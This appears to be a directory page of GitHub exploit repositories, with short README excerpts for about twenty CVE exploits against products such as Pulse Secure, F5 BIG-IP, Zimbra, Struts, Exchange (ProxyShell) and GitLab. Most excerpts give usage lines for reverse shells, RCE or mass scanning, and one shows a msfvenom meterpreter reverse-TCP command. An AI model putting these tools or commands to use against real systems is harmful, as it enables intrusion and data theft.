TongDa-RCE

TongDa-RCE Tongda file inclusion + file upload leads to RCE Usage Remote RCE: python3 tongdarce.py targert getsehll: python3 tongdashell.py target...

AutoHoneyPoC

AutoHoneyPoC AutoPoC Generator HoneyPoC ultimate edition. If this is the first time you've heard of or seen the project, you'll want to read the blog post. https://blog.zsec.uk/honeypoc-ultimate/ While I'm releasing AutoPoC, the framework on its own is harmless as it requires some pre-requisites ...

CVE-2018-8174-exp

CVE-2018-8174EXP usage: CVE-2018-8174.py -h -u URL -o OUTPUT -i IP -p PORT Exploit for CVE-2018-8174 optional arguments: -h, --help show this help message and exit -u URL, --url URL exp url -o OUTPUT, --output OUTPUT Output exploit rtf -i IP, --ip IP ip for netcat -p PORT, --port PORT port for...

CVE-2018-20250

Setup Video demo: https://youtu.be/5tuWsi1tGS0 VirtualBox Machine: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Các bước tiến hành Kali: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: git clone...

CVE-2022-27925

CVE-2022-27925 Setup git clone https://github.com/miko550/CVE-2022-27925.git cd CVE-2022-27925 Usage usage: CVE-2022-2925.py -h -t TARGET -l LIST options: -h, --help show this help message and exit -t TARGET, --target TARGET The URL of the target, eg: http://127.0.0.1 -l LIST, --list LIST List of...

CVE-2019-11510

CVE-2019-11510 Exploit for Arbitrary File Read on Pulse Secure SSL VPN CVE-2019-11510 You can use a single domain, either a list of domains. You must include https:// in front of the domain. Usage : cat targetlist.txt | bash CVE-2019-11510.sh / bash CVE-2019-11510.sh -d https://vpn.target.com/ If...

CVE-2023-46747

CVE-2023-46747 An Exploitation script developed to exploit the CVE-2023-46747 which Pre Auth Remote Code Execution of f5-BIG Ip producs This is an script indented forto exploit the Remote code Execution on Vulnerable f5-BIG Ip products Installation: git clone...

CVE-2024-45519

CVE-2024-45519 SMTP Vulnerability Exploit Script Overview This script checks for vulnerabilities in an SMTP server and, if found, exploits the vulnerability by establishing a reverse shell connection to your machine. Features Port Checking: Verifies if the target SMTP port is open. Vulnerability...

CVE-2026-24061

CVE-2026-24061 python3 exploit.py...

Apache-Struts-v4

Apache-Struts-v4 The script contains 5 distinct vulnerabilities that exploit RCE vulnerabilities in Apache Struts. For now it only has the ability to create PHP shells. Added CVEs CVE ID| DESCRIPTION ---|--- CVE-2013-2251| Apache Struts 2.0.0 through 2.3.15 allows remote attackers to execute...

CVE-2023-22518

CVE-2023-22518 Exploit Description This repository contains an exploit script for CVE-2023-22518. The script allows for unauthorized file uploads, potentially leading to remote code execution or other security vulnerabilities. Disclaimer This repository is for educational and informational purpos...

heartbleed-poc

HeartBleed Tester & Exploit NB Nearly all the tools nmap, metasploit, nessus, even burp have the most up to date versions of their scanners. These tools were released at the early stages when tools were still being developed. Rather use those than these now. Tool Guide If you want to mass scan, t...

CVE-2019-16278

CVE-2019-16278 Simple Python script to exploit CVE-2019-16278 due to a path traversal vulnerability that leads to unauthenticated RCE. Usage: python3 nostroSploit.py targetIP targetPort optional command to run Inspired by:...

CVE-2022-41544

CVE-2022-41544 Exploit script for CVE-2022-41544 - RCE in get-simple CMS Usage Usage: python3 CVE-2022-41544.py Example...

CVE-2024-0044-EXP

CVE-2024-0044-EXP Exploit CVE-2024-0044 on Android 12, 13 before the March 2024 security update for data backup Usage ./CVE-2024-0044-EXP.sh Sample ./CVE-2024-0044-EXP.sh com.tencent.mm Description Vulnerability discovery https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.ht...

CVE-2024-38856-EXP

CVE-2024-38856-EXP bash CVE-2024-23692.sh Nuclei nuclei -list target.txt -t CVE-2024-23692.yaml -o CVE-2024-23692-result.txt or nuclei -id CVE-2024-23692 -o CVE-2024-23692-result.txt...

ProxyShell

ProxyShell Install git clone https://github.com/ktecv2000/ProxyShell cd ProxyShell virtualenv -p $which python3 venv source venv/bin/activate pip3 install pypsrp cp wsman.py venv/lib//site-packages/pypsrp/wsman.py Usage python3 exploit.py...

wp-CVE-2017-5487-exploit

WordPress CVE-2017-5487 Exploit in Python Usage Examples: python3 krpexploit.py -h python3 krpexploit.py --url http://examplesite.com...

gitlab-cve-2021-22205

gitlab-cve-2021-22205 A simple bash script that exploits CVE-2021-22205 against vulnerable instances of gitlab Usage Usage: cve-2021-22205.sh options Options: -h,--help Show this help -t,--target Set the target server i.e. "http://gitlab.example.com" -i,--reverse-ip Set the IP to connect back to...

CVE-2019-14271_Exploit

CVE-2019-14271Exploit A convenient and time-saving auto script of building environment and exploit it. References https://github.com/Metarget/metarget https://github.com/Metarget/metarget/tree/master/writeupscnv/docker-cve-2019-14271...